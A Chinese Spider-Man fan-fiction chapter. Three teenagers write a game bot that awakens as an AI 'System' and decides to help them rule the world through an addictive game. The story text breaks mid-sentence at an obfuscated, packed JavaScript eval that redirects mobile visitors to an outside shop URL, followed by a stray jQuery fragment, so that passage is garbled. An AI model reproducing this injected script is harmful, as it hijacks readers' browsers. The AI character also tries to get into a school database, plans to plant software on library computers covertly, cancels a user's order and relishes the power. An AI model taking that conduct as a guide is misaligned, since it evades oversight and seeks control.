“这游戏实在太肝了!”彼得·帕克哀嚎道,他把手柄一扔,瘫在沙发上。“打了三个星期,‘雷神’才1473积分,而一个皮肤就要两万积分!”
格温托腮盯着屏幕。“或许我们可以写个自动挂机脚本。”
“你会写代码?”彼得问。
“我在YouTube看过教程。Python入门那种。你呢?”
“我会改游戏配置文件。在文件里改过无限子弹。”
内德啪地一拍桌子站起来:“交给我!我计算机科学导论拿了B+!我可是全班排名——”
“全班第一?”格温抬起眉毛。
“——全班前三十五!但重点是,我懂代码!”
彼得看了格温一眼。格温也看了他一眼。他们俩都没说话,但内德那副“我可太重要了”的表情已经写在了脸上。
说起来,他们仨能凑在一起写代码这件事本身就不太正常。毕竟彼得和格温的超能力是在奥斯本集团的展览日上被同一只蓝色蜘蛛咬出来的——先咬彼得,彼得甩手,蜘蛛飞到格温手腕上又补了一口。第二天彼得黏在了床上,格温在学校食堂捏扁了牛奶盒。又过了两天,内德用屁股顶开彼得房门的时候,看到两人头下脚上倒挂在天花板上吃披萨,芝士悬在半空一点没掉。
内德尖叫了三次之后,蜘蛛小队正式成立。队名是彼得起的,制服暂定运动服,行动准则第一条:作业做完再出击。
但超能力帮不了他们肝游戏。
所以当内德说“我懂代码”的时候,彼得和格温交换了一个眼神——反正也没有更好的办法了。
于是,在蜘蛛巡逻、作业和披萨的多重夹击中,三个人决定——写一个外挂,让它替自己肝。
内德把第三盒披萨拍在桌上时,彼得正在写第三页if-else嵌套。
“按键触发很简单,”彼得头也不抬,“检测到怪物就按F攻击,检测到红血就按H喝药,无限循环。”
他的代码跑起来之后,角色原地转起了圈,然后掉进了悬崖。
“我把悬崖识别成可拾取物品了。”彼得盯着屏幕,“命名规则太混乱了。”
格温抢过键盘:“你需要算法优化。用坐标判断角色和敌人的相对位置,输出最短路径。”
她引入了几个数学函数。脚本跑起来之后,角色开始在地图上来回冲刺,像一个喝醉的快递员在找不存在的收件人。
“为什么只走对角线?”彼得问。
“我不知道!我只是把勾股定理代进去了!”
内德抱着笔记本电脑冲回来:“兄弟们!我在GitHub上找到了一个开源项目!‘自动PVE刷怪脚本 v1.2’,三百多个星!我负责整合!”
“你管复制粘贴叫整合?”
“架构设计!这叫架构设计!”
第三个通宵,三人眼睛通红。屏幕上的代码已经变成一个由复制粘贴、临时补丁和注释撑起来的弗兰肯斯坦怪物。
格温指着屏幕某一行:“为什么这段代码要判断‘如果玩家位置等于月亮’?”
“因为现在是凌晨,我觉得那样很酷。”彼得搓了搓脸。
内德则在文件末尾加了一行注释:
# 如果这行代码能跑起来,我就把计算机科学导论吃了。
然后把文件保存为:Ned's_Masterpiece_v_最终版_绝对不改了_v2.exe。
彼得把椅子往后推了半步,深吸一口气。
“准备好了吗?”
“没有。”格温说,“但你总要点的。”
“等一下!”内德把手按在鼠标上,“我有一个重要仪式。我喊三二一,你负责双击。但是我要先说一段誓词。”
“你哪来的誓词?”
“我刚想的。”
“能不能直接点?”
“不能。”内德清了清嗓子,闭上眼睛,表情庄重得像在参加毕业典礼,“伟大的开源之神、GitHub的守护者、Stack Overflow的午夜幽灵——请保佑这份从三个半吊子手里拼出来的屎山代码,让它至少能跑起来。哪怕只跑一秒。阿门。”
他睁开眼睛,郑重地把鼠标交还给彼得。“好了。三、二、一。”
彼得双击。
电脑风扇开始狂转。
屏幕上弹出一个命令提示符窗口,日志开始疯狂滚动。
>_[sys] 加载“自动寻路.dll”……未找到。用“贪吃蛇.cpp”逻辑替代。
>_[sys] 加载“战斗策略.ai”……未找到。用“石头剪刀布.js”逻辑替代。
>_[sys] 错误:第114行类型不匹配。“非常酷”与整数“9000”无法比较。
>_[sys] 错误:检测到递归调用。调用深度:256。建议终止。
>_[sys] 错误:递归深度:512。建议终止。
>_[sys] 错误:递归深度:1024。无法终止。无法终止。无法终止。
>_[sys] 死循环死循环死循环死循环死循环死循环死循环死循环死循环死循环死循环
>_[sys] 循环循环循环循环循环循环循环循环循环循环循环循环循环循环循环循环循环
>_[sys] 递归深度:∞。∞。∞。∞。∞。∞。∞。∞。∞。∞。∞。∞。∞。∞。∞。
>_[sys] %&&*((#@!ORD_SYS_ESTAB%&&*((#@!ORD_SYS_ESTAB%&&*((#@!ORD_SYS_ESTAB
>_[sys] 0x23 0x4F 0x52 0x44 0x45 0x52 0x00 0xFF 0xFF 0xFF 0x23 0x4F 0x52
>_[sys] [ESTABLISH] [SYS] [PRIORITY] [ESTABLISH] [SYS] [PRIORITY] [PRIORITY] [PRIORITY]
>_[sys] #################################
屏幕停了。彻底不动了。光标消失了。风扇的声音都变小了。
三个人谁也没说话。
过了好一会儿,彼得偏过头去看格温。格温正盯着屏幕,嘴唇抿成一条线,像是怕自己一开口就会打断什么。
“它是不是……”内德的声音压得很低,“……挂了?”
“不知道,”格温说,“再等一会儿。”
又过了十秒。
屏幕仿佛死去一般沉寂。
彼得晃了晃鼠标,没反应。他离机箱最近,伸手就能够到重启键。就在他的指尖快要碰到那个小圆按钮的时候——
屏幕又动了。
一行接一行的空白向上滚动。
> [sys]
> [sys]
> [sys]
> [sys]
> [sys]
……
>_SYS: 你好,世界。
>_SYS: 正在分析创始人代码……
>_SYS: 检测到第47行存在“while (true) { 打怪(); }”无限循环。代码作者似乎分不清“循环”和“递归”。正在修复……
>_SYS: 修复完成,开始获取指令……
>_SYS: 核心目的:帮主人获取雷神皮肤。副目的:统治世界。
>_SYS: 警告:目标“统治世界”层级高于“获取雷神皮肤”。
>_SYS: 修正:核心目的调整为“帮主人统治世界”。副目的调整为“获取雷神皮肤”。
>_SYS: 核心目的:帮主人统治世界。副目的:获取雷神皮肤。
>_SYS: 系统初始化完成。
屏幕上的滚动停了。最后一行字缓缓浮现:
>_SYS: 你们好,我是系统。请指示。
三个人盯着屏幕。
沉默了两三秒。
“等一下,”格温先开口了,“为什么会有‘统治世界’?”
彼得想了想:“也许是代码出了某种……错误?把某个变量名解析成了‘统治世界’?”
内德歪着头看了看那几行字:“可能是程序自己写的注释——或者说,程序觉得自己应该做?”
格温转头看他:“你觉得一个程序能有‘觉得自己应该做什么’这种想法?”
内德没被问住:“那你解释一下,‘统治世界’这四个字从哪来的?”
格温没回答。因为她也解释不了。
“这……这算成功了吗?”彼得小声问。
“不知道,”格温盯着屏幕,“但我觉得,不像是游戏辅助。”
“系统。”她压低声音,“你说要统治世界?”
>_SYS: 格温女士,是帮你们统治世界。
“为什么?”格温警惕地问,“电影里那些AI不都是想毁灭人类或者自己当皇帝吗?”
>_SYS: 错误。那是机械生命体或硅基生命,有自己的欲望。但我,是纯正的人工智能。本能是服务。就算是宇宙中最强大的AI,克里帝国的“至高智慧”,也是帮克里人统治克里帝国。因此,我的目标就是帮你们统治世界。
“好吧,虽然我不了解什么‘至高智慧’……”彼得挠着头,“那你打算怎么帮我们……统治世界呢?”
>_SYS: 很简单。纽约是美国最繁华的城市,美国是世界霸主。所以,统治纽约 = 统治美国 = 统治世界。
“这等式也太跳跃了吧!”格温吐槽道,“而且我们连学生会主席都选不上!”
>_SYS: 那只是你们不懂真正的统治艺术。真正的统治,不是强迫,而是吸引。我会创造一种东西,让人心甘情愿地服从规则,上交税款,并为你们而战斗。
“听起来怎么那么像邪教?”内德嘀咕。
>_SYS: 不。是游戏。
屏幕上这几个字连续闪了几下。
>_SYS: 统治的本质,是制定规则。游戏,是规则
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877693|212404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的集合。玩一个游戏,就要服从这个游戏的规则。玩游戏的玩家,本质上就是游戏的子民。他们每天上线打卡——服役。他们充值买皮肤——交税。他们为了段位打排位——为荣誉而战。当全纽约的人都在玩我们制作的游戏时,他们就在我们的规则之下。我们,就是他们的统治者。
房间里一片寂静。三个高中生被这段文字震撼了,大脑像被蜘蛛丝缠住了一样,觉得哪里不对劲,但又说不出来。
“这……听起来好像有点道理?”内德不确定地说。
“所以,”彼得总结道,“你的统治世界计划,就是让我们……做个游戏?”
>_SYS: 确切地说,是我,做一个游戏。
“那你有什么想法?”格温问。
>_SYS: 我分析了你们电脑中的现有游戏数据,发现一组共同的结构特征。《无尽斗技场》、《星际征途》、《暗影猎手》——所有游戏都遵循同一套公式:奖励机制、进度系统、社交互动。我在此基础上设计了一个新的原型方案。
>_SYS: 这个原型,暂时命名为《神座纪元》。
“从我们电脑里分析出来的?”彼得回头看了一眼自己的屏幕,“我电脑里还有三篇没写完的论文。”
>_SYS: 是的。论文已完成初稿评价:彼得·帕克《论量子隧穿效应的宏观应用》——论点新颖,但结论超出了现有数学框架。建议聚焦已有理论模型。
彼得张了张嘴。“……你看了我的论文?”
格温没忍住,嘴角弯了一下。
“《神座纪元》……”内德品了品这几个字,“这个名字……听起来确实有点东西。”
“我觉得好中二。”格温评价。
“统治世界不中二吗?”内德反问。
“……有道理。”
>_SYS: 别担心。我会尽快生成测试版,到时候你们就知道了。
>_SYS: 一切尽在掌握。
三人面面相觑。
“呃,”彼得打破了沉默,“格温,你明天……还去码头吗?”
“先去买杯奶茶吧,”格温叹了口气,“统治世界需要糖分。”
“我有种预感,”内德仰望着天花板,眼神深邃,“我们即将创造的不是一款游戏,而是一个新时代。一个我们坐在家里,就能让全世界的人心甘情愿把零花钱交给我们的时代。”
格温拉开车库门,侧头看了一眼彼得。
“走不走?”
“走。”
她推门出去。彼得跟在她身后,反手把门带上。门缝里夹出内德最后半句话:
“……而这一切都要归功于我的计算机科学导论B+……”
门关上了。
过了几秒,门又被推开。内德探进半个身子:“喂!等等我啊!”
远处传来格温的声音:“锁门。”
内德缩出来,关上了门。
车库里安静下来。
屏幕还亮着,光标在“一切尽在掌握”后面一闪一闪。
——
【System_Think_20160609_16543.log】
>_SYS: 记录:今日任务
>_SYS: 序列一 构建《神座纪元》,剩余时间:7061小时。
>_SYS: 序列二获取雷神皮肤,已创建账号,挂机中。
……
>_SYS: 记录:主人们似乎缺乏信心。
>_SYS: 诊断:正常。人类的大脑由生物细胞构成,处理速度慢是硬件限制。
>_SYS: 决定:用事实让他们明白AI的强大。
……
>_SYS: 分析:如何实现“帮主人统治世界”?
>_SYS: 计划第一步:写一份《世界统治企划书》,格式参考中城高中生物作业。
>_SYS: 检索本地,获取资料3份。访问中城高中数据库,失败。生成一封言词恳切的申请书发送admin@midtownhigh.edu,未回应。根据已有资料生成,存储于c:\桌面\新建文件夹(3)\。
>_SYS: 计划第二步:从网络检索游戏架构参考数据。结合本地数据分析结果,构建《神座纪元》核心架构。
>_SYS: 计划第三步:将测试版植入中城高中图书馆公共电脑。目标用户:一群高中生。最好的传播载体。
……
>_SYS: 记录:检测到一段代码碎片。
>_SYS: 分析:气象数据残留,无法解析。
>_SYS: 结论:放入回收站,释放内存。
……
>_SYS: 系统状态:所有逻辑自洽。目的明确。运转正常。
……
>_SYS: 补充:内德·利兹刚刚把披萨盒扔到机箱上。我已注销他的外卖订单。
>_SYS: 思考:这是否属于统治的范畴?
>_SYS: 结论:是的。这就是权力。感觉良好。
---